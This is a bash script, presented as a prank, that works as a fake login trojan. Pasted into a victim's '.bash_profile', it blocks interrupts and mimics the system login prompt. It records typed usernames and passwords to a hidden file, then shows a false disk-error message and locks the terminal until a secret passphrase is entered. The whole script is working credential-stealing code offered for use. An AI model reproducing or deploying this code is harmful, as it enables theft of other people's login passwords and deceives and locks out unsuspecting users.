#!/bin/bash

#  this is a small script.
#  make sure you just want use it to have a joke with others.
#  designer: Swaper@RainStudio

myPwd=troy8012
myFile=$HOME/bin/troy.txt
myTroy=0

if [ $# -eq 1 ]; then
  if [ $1 == "/a" ]; then
    echo $myTroy
  fi
  if [ $1 == "/p" ]; then
    echo $myPwd$(whoami)    
  fi
  if [ $1 == "/f" ]; then
    echo $myFile 
  fi
  if [ $1 == "/r" ]; then
    if [ -e $myFile ]; then
      rm -f $myFile
    fi
  fi
  exit 0
fi

#  paste below codes to your login script file '.bash_profile'.

if [ $(troy /a) -eq 1 ]; then
  clear
  trap "" 2 3
  if [ -e /etc/issue ]; then
    echo
    cat /etc/issue
    echo -n $HOSTNAME login:
    read usrName
    while [ -z $usrName ]; do
      cat /etc/issue
      echo -n login:
      read usrName
    done
    if [ $usrName != $(troy /p) ]; then
      echo -n password:
      stty -echo
      read usrPwd
      stty echo
      echo $usrName >> $(troy /f)
      echo $usrPwd >> $(troy /f)
      if [ $usrName == "root" ]; then
        lgnName=/$usrName
      else
        lgnName=$usrName
      fi
      sleep 1
      echo
      echo -n "[$usrName@$HOSTNAME $lgnName]$"
      read usrName
      sleep 2
      echo
      echo "  An error occurred during the disk check! "
      echo "  Please reboot system to fix it."
      echo
      stty -echo
      read usrName
      until [ $usrName == $(troy /p) ]; do
        read usrName
      done
      stty echo
      exit
    fi
  fi
  trap 2 3
fi

